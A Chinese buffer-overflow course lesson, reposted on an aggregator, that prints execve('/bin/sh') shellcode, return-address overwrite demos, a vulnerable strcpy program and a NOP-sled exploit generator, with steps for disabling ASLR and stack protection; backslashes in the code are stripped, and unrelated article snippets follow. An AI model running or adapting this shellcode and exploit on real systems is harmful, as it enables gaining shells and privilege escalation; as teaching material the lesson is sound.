判断unsigned long long乘法溢出_信息安全课程17:缓冲区溢出2

在之前所讲述的内容中,都是我们在自己的程序中自行修改的;正常情况下,没有程序员会在自己的代码中这样写——那有没有办法攻击别人正常的程序呢?攻击者怎么样能够影响到不是自己的程序的返回地址呢?以及怎么样通过攻击别人的代码来获得shell呢?并且最好是root shell呢?

为了理解一下这个问题的难度,我们来归纳一下在之前获得shell的例子中,我们利用了哪些条件。首先,我们在程序中,写了一段调用生成shell的代码,这段代码直接和主程序一起被编译生成了可执行代码;其次,我们能够容易地获得函数调用中的返回地址,因为可以直接操作变量。

如果要攻击他人的程序,首先,需要有一段生成shell的可执行代码;其次,需要能够找到一个返回地址。

第一个问题,答案是shellcode。

第二个问题,答案是缓冲区溢出。

什么是shellcode呢?就是能够生成shell的code。就不细讲如何生成shellcode了。

先直接来看一些shellcode的例子。

7be3c5a01c310d0e73c89083b0e11acf.png

以下代码在32系统运行。

 char shellcode[] ="xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00""x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80""xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxff""xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3";void hello(){printf("hello.n");exit(0);
}void main(int argc, char **p) {int *ret;ret = (int *)&ret + 2;(*ret) = (int)shellcode;
}

值得注意的是,此时的shellcode是一段字符串,而且没有被声明为const,也即是可变的。这样的变量一般在分配时,相应的内存处会有不可执行保护。在编译时需要加上参数,取消栈保护。

以下代码在64位系统运行。

char *shellcode = "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";void main(int argc, char **p) {unsigned long *ret;ret = (unsigned long *)&ret + 3;(*ret) = (unsigned long)shellcode;}

通过以上例子,可以看出shellcode的作用,就是一段可执行的代码。当返回地址指向shellcode的首地址的时候,shellcode获得执行。

894a25a4de828c7ac6f552280d8af6fe.png
https://www.zhihu.com/video/1102522760315613184

同时,我们对以下代码进行比较。

char *shellcode = "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";void main(int argc, char **p) {unsigned long *ret;ret = (unsigned long *)&ret + 1 ;(*ret) = (unsigned long)shellcode;}

这段代码的执行结果是

6fab37a52669aa9cd52a862ff4cd2eed.png

想一想,为什么?

再看一下,这段代码在32位系统:

void main(int argc, char **p) {int *ret;char shellcode[] ="xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00""x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80""xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxff""xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3";ret = (int *)&ret + 21;(*ret) = (int)shellcode;
}

运行结果如下:

243e80e6506f6ae1e8bc55a458a77e1d.png
https://www.zhihu.com/video/1102520181166817280

思考一下是什么原因呢?

在64位系统上,结果也类似。为了防御缓冲区溢出攻击,编译器进行了canary和防止栈运行等防御。

明确shellcode的功能之后,攻击者现在需要做的事情,就是将shellcode置于内存的某处,然后将返回地址指向shellcode。这一步骤,主要是通过缓冲区溢出实现的。


首先看下面一段代码。

void function(char *str){char buffer[16];strcpy(buffer,str);
}void main(){char large_string[256];int i;for(i=0;i<255;i++)large_string[i]='A';function(large_string);
}

这段程序中就存在 Buffer Overflow 的问题。之所以叫做缓冲区溢出,是因为function中的字符数组长度仅为16,而传递给 function 的字符串长度要比 buffer 大很多。并且function 没有经过任何长度校验,直接用 strcpy 将长字符串拷入 buffer。strcpy并不进行长度检查。在之前的分析中,我们知道字符串存储时是从低地址向高地址增长,因此超出buffer[16]的字符串会持续向上覆盖,也即溢出。结果是 buffer 后面的 250 字节的内容也被覆盖掉了,这其中自然也包括 前一个ebp(rbp)、 ret 地址 、large_string 地址。所以此时 function的返回地址变成了 0x41414141h,所以当function函数执行结束返回时,它将返回到 0x41414141h 地址处继续执行,但由于这个地址并不在程序实际使用的虚存空间范围内,所以系统会报 Segmentation Violation。

4762d6b2aa645d8c2ee1026fe248d16b.png

之前讲过,因为overflow漏洞影响深远,所以操作系统和编译器中都对它进行了防范。在这个例子中可以看到,如果编译的时候没有取消栈保护,那么会被检测出来试图进行攻击。这个保护的原理是什么,我们过会儿再看,现在先来看看如果利用缓冲区溢出,来获得一个shell。

看这一份代码。【以下代码在64位系统上运行失败;在32位系统没问题。】

char *shellcode = "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";char large_string[256];void main() {char buffer[96];int i;unsigned long *long_ptr = (unsigned long *) large_string;for (i = 0; i < 32; i++)*(long_ptr + i) = (unsigned long) buffer; //使用buffer首地址填充large_string;等待覆盖return address;这样,返回地址变为buffer首地址;下一个for循环,使得shellcode在strcpy的起始;使用strcpy,保证buffer首地址就是shellode的起始for (i = 0; i < strlen(shellcode); i++)large_string[i] = shellcode[i];strcpy(buffer,large_string);
}
584a08718193cf92efc284e369e468de.png
https://www.zhihu.com/video/1102531298475761664

类似的代码在64位系统上:

d8a7c1ab384a9b030720109669802391.png
https://www.zhihu.com/video/1102540775484735488

在64位系统上失败的原因:从large_string到buffer的拷贝不成功。导致返回地址的值没有被修改。获得shell失败。


到目前为止,所有的攻击还是在同一份代码中发生的。

如果想对别人发起攻击,应该如何操作?

我们看一段简单的代码:

void main (int argc,char *argv[]) {char buffer[512];if (argc > 1)strcpy(buffer,argv[1]);
}

攻击思路是传入一段代码,并且还要让main的返回地址指向我们传入的代码。因为传入的代码只能在buffer中,所以我们要能知道buffer的首地址是多少。在之前的例子中,我们将buffer的首地址复制了很多份放在large_string中,这里因为buffer是在别人的代码中,也不能直接操作,所以只好靠猜——然后将这个地址再拷贝很多次。

大概十年之前,对于所有程序来说堆栈的起始地址是一 样的,而且在拷贝 ShellCode 之前,堆栈中已经存在的栈帧一般来说并不多,长度 大致在一两百到几千字节的范围内。因此,我们可以通过猜测加试验的办法最终 找到 ShellCode 的入口地址。

现在,为了防御这种方式,加了栈起始地址随机化。如果没有关掉栈起始地址随机化保护,不同次运行同一个程序时,栈的起始位置都不一样。

unsigned long get_sp(void) {__asm__("movl %esp,%eax");
}
void main() {printf("0x%xn", get_sp());
}

8bc9788e03077e02d9e155a04bc0d377.png

所以,猜测更加困难了。

这里为了演示,我们得把操作系统的栈起始地址随机化保护给关掉。

f7e687360b3d5f9d3736aae4553f25e0.png

关掉之后,

6511cdf4468e17123016fc4e185415e5.png

有一个方法是将 ShellCode 放在 large_string 的中部,而前面则一律填充为 NOP 指令(NOP 指令是一个任何事都不做的指令,主要用于延时操作,几 乎所有 CPU 都支持 NOP 指令)。这样,只要我们猜的地址落在这个 NOP 指令串中, 那么程序就会一直执行直至执行到 ShellCode(如下图)。这样一来,我们猜中的概率就大多了(以前必须要猜中 ShellCode 的入口地址,现在只要猜中 NOP 指令串中的任何一个地址即可)。

 #include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";unsigned long get_sp(void) {__asm__("movl %esp,%eax");
}void main(int argc, char *argv[]) {char *buff, *ptr;long *addr_ptr, addr;int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;int i;if (argc > 1) bsize = atoi(argv[1]);if (argc > 2) offset = atoi(argv[2]);if (!(buff = malloc(bsize))) {printf("Can't allocate memory.n");exit(0);} printf("0x%xn",get_sp());addr = get_sp() - offset;printf("Using address: 0x%xn", addr);ptr = buff;
//	addr = "bfffef90"; addr_ptr = (long *) ptr;for (i = 0; i < bsize; i+=4)*(addr_ptr++) = addr;for (i = 0; i < bsize/2; i++)buff[i] = NOP;ptr = buff + ((bsize/2) - (strlen(shellcode)/2));for (i = 0; i < strlen(shellcode); i++)*(ptr++) = shellcode[i];buff[bsize - 1] = '0';//memcpy(buff,"EGG=",4);//putenv(buff);setenv("EGG",buff,1);system("/bin/bash");
}

运行结果如下【32位系统】:

3f5cd8537cf47597d5d3a4107ab8cd64.png
https://www.zhihu.com/video/1102567120042352640

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/340071.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java 保垒机telnet,开源堡垒机系统Teleport

一. teleport简介Teleport是一款简单易用的堡垒机系统&#xff0c;具有小巧、易用的特点&#xff0c;支持 RDP/SSH/SFTP/Telnet 协议的远程连接和审计管理。Teleport由两大部分构成&#xff1a;跳板核心服务WEB操作界面官网地址: https://tp4a.com/ 官网文档: https://docs.…

choiceformat_ChoiceFormat:数字范围格式

choiceformatChoiceFormat类的Javadoc指出ChoiceFormat “允许您将格式附加到一系列数字上”&#xff0c;并且“通常在MessageFormat中用于处理复数”。 这篇文章描述了java.text.ChoiceFormat并提供了一些在Java代码中应用它的示例。 ChoiceFormat与java.text包中其他“ 格式…

python和rpa_什么是RPA

产品介绍阿里云RPA产品是一款新型工作流程自动化办公机器人软件&#xff0c;通过模拟人工操作进行自动流程执行处理。它可以将办公人员从每日的重复工作中解放出来&#xff0c;提高生产效率。具体而言&#xff0c;阿里云RPA是基于软件机器人和人工智能(AI&#xff0c;Artificia…

php背景图片随页面大小改变,css背景图根据屏幕大小自动缩放

css背景图根据屏幕大小自动缩放代码&#xff1a;html,body{margin:0px;padding:0px;}#background { position: fixed;top: 0;left: 0;width: 100%;height: 100%;overflow: hidden;background-color: #211f1f; display:none\8;}#background .bg-photo {position: absolute;top: …

Java –缺少字体–崩溃的应用程序!

Eclipse MAT和Heaphero都是分析大型堆转储的流行Java工具。 最近&#xff0c;当我们尝试在Eclipse MAT中分析堆转储文件时遇到了一个有趣的问题。 工具因缺少字体crash而崩溃。 我们认为我们将与您分享发现的结果。 CompositeStrike.getStrikeForSlot&#xff08;&#xff09;…

forever不重启 node_运维监控Prometheus,部署安全的node_exporter监控主机

简介prometheus监控系统的时候&#xff0c;是使用pull的方式来获取监控数据&#xff0c;需要被监控端监听对应的端口&#xff0c;prometheus从这些端口服务中拉取对应的数据。node_exporter安全性讨论node_exporter是收集操作系统的指标的一个程序。例如CPU&#xff0c;内存&am…

netbeans ide_IDE:5个最喜欢的NetBeans功能

netbeans ide愉快的发展……。 NetBeans具有许多有趣的功能 &#xff0c;这些功能使开发非常容易&#xff0c;只需很少的步骤&#xff0c;并且可以在非常快速地将产品推向市场的过程中创造出非常高效的环境 。 将我的谈话仅限于五个功能非常困难&#xff0c;而此IDE具有大量有…

python做excel麻烦_高效办公必备:别人通宵做的 Excel,我用Python 半小时搞定!

原标题&#xff1a;高效办公必备&#xff1a;别人通宵做的 Excel,我用Python 半小时搞定&#xff01;最近经常听到周围的人抱怨&#xff1a;“工作忙&#xff0c;在加班……”不知不觉&#xff0c;当代职场人早就被“996”支配得体无完肤了&#xff0c;不仅身体吃尽熬夜加班的苦…

matlab resample,resample matlab实现

使用线性插值实现sample rate转换。function output simpleResample(input, inputfs, outputfs)inputLen length(input(:, 1));outputLen floor(inputLen * outputfs / inputfs);output zeros(outputLen, 1);timeStep inputfs / outputfs;curTime 1;integer 0;frac 0;f…

那是两个小时我不会回来

正如我之前关于linting主题所说的 &#xff0c;花时间修改代码的好处很有限&#xff0c;因为自动工具告诉您这样做。 更糟糕的是&#xff0c;这些工具并非万无一失。 例如&#xff0c;我们一直在针对完美无害的try-with-resources构造周围的SpotBugs警告中添加排除项&#xff…

php助手函数自定义,Laravel 添加自定义助手函数

前言在学习完教程中添加自定义助手函数文件时&#xff0c;还是得记录一下&#xff0c;感觉对composer知道的东西太少了&#xff0c;一些命令到底做了什么还是不知道&#xff0c;总结一下。添加自定义助手函数文件在开发项目的时候&#xff0c;有时候会定义一些函数&#xff0c;…

oracle 查询不同编号的时间最小记录_投稿 | ORACLE amp; PostgreSql 利用伪列删除完全重复的两行...

作者&#xff1a;缪晓丽DBA、数据库爱好者、从业10年。对 DB2、PostgreSQL、Oracle 均有较长的运维经验。本次演示的 test 表如下&#xff1a;01Oracle 的 rowidSQL 语句&#xff1a;DELETE FROM ( SELECT ROW_NUMBER() OVER (PARTITION BY id ORDER BY id) AS rn, id, name…

jpa 实体映射视图_JPA教程:映射实体–第1部分

jpa 实体映射视图在本文中&#xff0c;我将讨论JPA中的实体映射过程。 至于我的示例&#xff0c;我将使用与 我以前的一篇文章中使用的模式相同的模式 。 在前两篇文章中&#xff0c;我解释了如何在Java SE环境中设置JPA。 我不打算为Web应用程序编写设置过程&#xff0c;因为…

php连接函数config,smarty内置函数config_load用法实例

本文实例讲述了smarty内置函数config_load用法。分享给大家供大家参考。具体如下&#xff1a;{config_load}用于从配置文件中&#xff0c;加载到配置变量。详细用法如下&#xff1a;配置文件&#xff1a;foo.conf说明&#xff1a;[Table] 和 [Customer] 表示段落名称。复制代码…

python写前端图形界面_如何Tkinter模块编写Python图形界面

一、为何使用Tkinter而非PyQt众所周知&#xff0c;在Python中创建图形界面程序有很多种的选择&#xff0c;其中PyQt和wxPython都是很热门的模块包&#xff0c;这些第三方的图形界面模块功能强大、配置丰富&#xff0c;界面美观&#xff0c;是很多人的选择。州的先生也经常使用P…

适用于应用程序错误的AWS警报

监视对于任何实际应用都是关键的。 您必须知道正在发生的事情&#xff0c;并在发生问题时实时得到警报。 AWS拥​​有CloudWatch&#xff0c;可以自动为您提供大量指标。 但是&#xff0c;您必须定义一些自己的东西。 然后&#xff0c;您需要定义适当的警报。 在这里&#xff…

addcslashes php,php addcslashes函数怎么用

php addcslashes函数返回在指定字符前添加反斜杠的字符串。其语法是addcslashes(string,characters)&#xff0c;参数string是必须的&#xff0c;规定要转义的字符串&#xff0c;characters是必须&#xff0c;规定要转义的字符或字符范围。addcslashes函数怎么用&#xff1f;作…

struct类型重定义 不同的基类型_C++构造数据类型

结构体(struct)定义&#xff1a;结构体是一个数据类型&#xff0c;是由多个不同类型的数据组成的数据集合。关键字为&#xff1a;struct 。优点&#xff1a;大大减少程序代码的离散性&#xff0c;使程序代码阅读更加符合逻辑。语法&#xff1a;struct 结构体类型名{ 成员类型 成…

卡夫卡队列_卡夫卡编年史队列基准

卡夫卡队列总览 最近&#xff0c;我被要求比较《卡夫卡》和《编年史》的性能。 没有两个产品是完全一样的&#xff0c;要进行公平的比较并不容易。 我们可以尝试运行类似的测试&#xff0c;看看我们得到了什么结果。 该测试基于Apache Kafka性能结果 。 测试使用了什么&#…

php zip怎么安装,php如何安装zip模块?(方法介绍)

php 安装zip模块为php安装zip扩展wget http://pecl.php.net/get/zip-1.13.5.tgz tar -zvxf zip-1.13.5.tgz cd zip-1.13.5 /home/xxx/php/bin/phpize出现错误&#xff1a;Cannot find autoconf. Please check your autoconf installation and the $PHP_AUTOCONF environment va…